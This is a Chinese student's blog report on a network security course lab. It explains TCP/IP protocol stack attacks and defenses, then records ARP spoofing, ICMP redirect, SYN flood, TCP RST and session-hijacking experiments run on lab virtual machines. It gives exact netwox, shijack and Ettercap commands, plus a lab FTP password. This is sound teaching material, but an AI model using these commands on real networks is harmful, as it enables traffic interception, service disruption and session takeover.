1 实践内容

1.1 TCP/IP网络协议栈攻击概述

  • 网络安全属性:机密性、完整性、可用性、真实性、不可抵赖性。
  • 网络攻击基本模式
    • (被动)截获:嗅探、监听
    • (主动)中断:拒绝服务
    • (主动)篡改:欺骗
    • (主动)伪造
  • TCP/IP网络协议是基于可信的网络环境的,因此存在许多安全问题。TCP/IP网络协议栈的分层模型:网络接口层、互联网层、传输层和应用层。针对不同的层出现了不同的攻击技术。
  • 原始报文伪造技术以及工具:原始套接字(raw socket)、netwox、netwag

1.2 网络层协议攻击

- IP源址欺骗 ARP欺骗 ICMP路由重定向攻击
原理 只使用数据包中的目标地址进行路由转发,而不对源地址进行真实性的验证 攻击者在有线以太网或者无线网上发送伪造ARP消息,对特定IP所对应的MAC地址进行假冒欺骗 利用ICMP路由重定向报文改变主机路由表,向目标主机发送重定向消息,伪装成路由器,使得目标机器的数据报文发送至攻击机从而加强监听
工具 netwox;wireshark;nmap DSniff中的Arpspoof;arpison;Ettercap;netwox netwox
防范措施 使用随机化的初试序列号;使用网络层安全传输协议;避免采用基于IP地址的信任策略;在路由器和网关上实施包过滤 静态绑定关键主机的IP地址和MAC地址映射关系、使用相应的ARP防范工具、使用VLAN虚拟子网细分网络拓扑、加密是传输数据 根据类型过滤一些ICMP数据包,设置防火墙过滤,对ICMP重定向报文判断是不是来自本地路由器的
应用 拒绝服务攻击;网络扫描;身份认证 交换式网络、构造中间人攻击、恶意代码ARP病毒 -

1.3 传输层协议攻击

- TCP RST攻击 TCP会话劫持攻击 TCP SYN Flood UDP Flood
原理 伪造TCP重置报文,断开TCP会话连接 劫持通信双方已经建立的连接,假冒其中一方的身份与另一方进行进一步通信 向目标主机发送大量的伪造源地址的SYN连接请求,消耗目标主机的连接队列资源,从而不能够为正常用户提供服务 向目标主机和网络发送大量的UDP数据包,使得目标主机和网络陷入不可用的状态,造成拒绝服务攻击

1.4 TCP/IP网络协议栈攻击防范措施

  • 检测、预防与加固
    • 网络接口层主要监测和预防网络嗅探
    • 互联层很难完全避免欺骗攻击的风险,但可采用多种技术进行阻断
    • 传输层采用身份验证、访问控制等
    • 应用层采用加密、数字签名、入侵检测等
  • 网络安全协议
  • 下一代互联网协议——以IPv6为代表的下一代互联网协议

2 实践内容

2.1 实验一:ARP缓存欺骗攻击

主机 Mac地址 IP地址
kali(A) 00:0c:29:01:75:b7 192.168.200.5
SEED(B) 00:0c:29:8b:d9:6d 192.168.200.3
WinTarget(C) 00:0c:29:E9:EA:27 192.168.200.124

  • 在主机A中使用apt-get install netwoxapt-get install hunt安装netwox和hunt。
  • 主机A使用netwox 33 -b 00:0c:29:E9:EA:27 -g 192.168.200.3 -h 00:0c:29:e9:ea:27 -i 192.168.200.124命令,冒充B,对主机C进行欺骗。

2.2 实验二:ICMP重定向攻击

主机 IP地址
kali(A) 192.168.200.5
SEED(B) 192.168.200.3
WinXP(C) 192.168.200.2
  • 在主机C中查看路由表

  • 在主机A中使用netwox 86 -f "host 192.168.200.2" -g 192.168.200.5 -i 192.168.200.1使网关重定向为主机A的IP地址

  • 再次在主机C中查看路由表,发现主机A的IP地址已经出现

2.3 实验三:TCP SYN Flood攻击

主机 IP地址
kali(A) 192.168.200.5
SEED(B) 192.168.200.3
WinXP(C) 192.168.200.2
  • 在主机B使用ftp 192.168.200.2,输入用户名administrator,密码mima1234,登陆成功。

  • 在主机A中使用netwox 76 -i 192.168.200.3 -p 21进行攻击

  • 再次在主机B中尝试登陆,登录失败,攻击成功。

2.4 实验四:TCP RST攻击

  • 使用环境与上个实验相同,在主机A使用命令 netwox 78 -i 192.168.200.3攻击主机B

  • 登陆时,连接被关闭。

2.5 实验五:TCP会话劫持攻击

  • hunt中出现以下问题。

  • 看了解建国同学博客,使用工具shijackk

  • 主机A使用命令git clone https://github.com/revanth5/shijackk.git下载工具

  • 在所在的文件夹中,右键在命令行中打开。

  • 使用sudo ./shijack-lnx eth0 192.168.200.3 34423 192.168.200.124 21命令出现如下问题(待解决)

  • 使用另一种方法,伪造包,把Next Seq Num作为下一个包的ACK,采用ACK作为下一个包的Seq。获取到信息之后,攻击机使用netwox工具伪造B给C发一个tcp包。
    netwox 40 --ip4-dontfrag --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.200.3 --ip4-dst 192.168.200.124 --tcp-src 34423 --tcp-dst 21 --tcp-seqnum 42 --tcp-acknum 161 --tcp-ack --tcp-psh --tcp-window 64 --tcp-data "68656C6C6F776F726C64"
    ip4-src后输入你的主机B的地址,在ip4-dst后输入主机C的地址,tcp-src表示原端口号(此处为34423),tcp-seqnum后输入Next Seqtcp-acknum后输入ACK.(此处忘记截图)

  • 抓包得到如下结果,并且原会话已经断开。

TCP虚假重传。
当抓到2次同一包数据时,wireshark判断网络发生了重传,同时,wireshark抓到初传包的反馈ack,因此wireshark判断初传包实际并没有丢失,因此称为虚假重传。基于wireshark的判断机制,如果抓包点在客户端的话,虚假重传一般为下行包,因为这时,客户端在收到服务端的下行包后发送反馈ack,并被wireshark抓到,但很有可能服务端未收到此反馈ack,RTO超时,触发服务端重传



(补充)使用ETTERACP进行TCP会话劫持攻击

主机 IP地址
kali(A) 192.168.200.5
WinXPM(B) 192.168.200.6
WinXP(C) 192.168.200.2
  • 在主机A中打开节点的IP转发功能
cat /proc/sys/net/ipv4/ip_forward//如果结果是0继续输入下一个命令
echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward//此时输出的结果应该是1就算是打开成功了
  • 执行命令 ettercap -G,打开Ettercap,记得在Wireshark中进行捕包
  • 点击【Sniff-Unified sniffing】选择【eth0】作为嗅探监听接口

  • 点击【Hosts -> Scan for hosts】 扫描局域网内攻击目标,并随后在菜单【 Hosts list】中,选择
    192.168.200.2 192.168.200.6 分别为target1和target2.

  • 点击【 MITM-> ARP poisoning 】进行ARP欺骗,并选择 【Sniff remote connections 】

  • 分别在主机B和C中执行arp -a查看MAC地址缓存,已经成功欺骗,可以看到主机A的MAC地址。

  • 在主机A中的Ettercap,点击【View->Connections】,查看捕包,具体信息如下。可以看到操作过程。

  • 然后查看WireShark捕包情况



3 学习中遇到的问题及解决

  • TCP会话劫持攻击实验中shijackk使用出现问题尚未解决,使用另一种方法时捕包也捕到了一个TCP Spurious Retransmission包,了解了一下这个包怎么来的。后来尝试用telnet连接完成实验。

4 实践总结

这些攻击手段十之前上课反复能够听到的,动手做过之后能够更加深刻理解原理。TCP会话劫持攻击这个实验完成的不是很好,接下来将继续研究,解决问题。

5 参考资料

 posted on 2020-03-30 10:27  捞起月亮的渔民  阅读(470)  评论(0编辑  收藏  举报